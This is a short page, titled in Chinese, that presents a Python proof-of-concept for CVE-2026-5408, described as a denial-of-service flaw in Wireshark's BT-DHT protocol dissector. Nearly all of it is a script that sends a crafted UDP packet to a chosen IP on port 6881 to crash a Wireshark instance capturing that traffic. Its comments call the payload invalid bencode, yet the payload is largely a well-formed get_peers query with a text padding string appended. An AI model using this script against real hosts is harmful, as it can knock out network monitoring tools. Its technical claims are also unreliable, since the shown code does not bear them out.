CVE-2026-5408 Wireshark BT-DHT协议解析器拒绝服务漏洞

import socket import struct # PoC for CVE-2026-5408: Wireshark BT-DHT Dissector Crash # This script sends a malformed UDP packet to trigger the crash. # Target needs to be capturing traffic on the specified port. def send_malformed_dht_packet(target_ip, target_port): # Constructing a malformed BT-DHT payload (invalid bencode) # Standard DHT uses bencoded dictionaries (d...e). # Sending a broken structure to confuse the dissector. payload = b'd1:ad2:id20:abcdefghij0123456789e1:q9:get_peers1:t4:00001:y1:qe' \ b'INVALID_PADDING_TO_TRIGGER_OVERFLOW' sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: sock.sendto(payload, (target_ip, target_port)) print(f"[+] Malformed packet sent to {target_ip}:{target_port}") except Exception as e: print(f"[-] Error sending packet: {e}") finally: sock.close() if __name__ == "__main__": # Example usage (replace with actual target IP and Port) # Note: This requires Wireshark to be actively listening. send_malformed_dht_packet("127.0.0.1", 6881)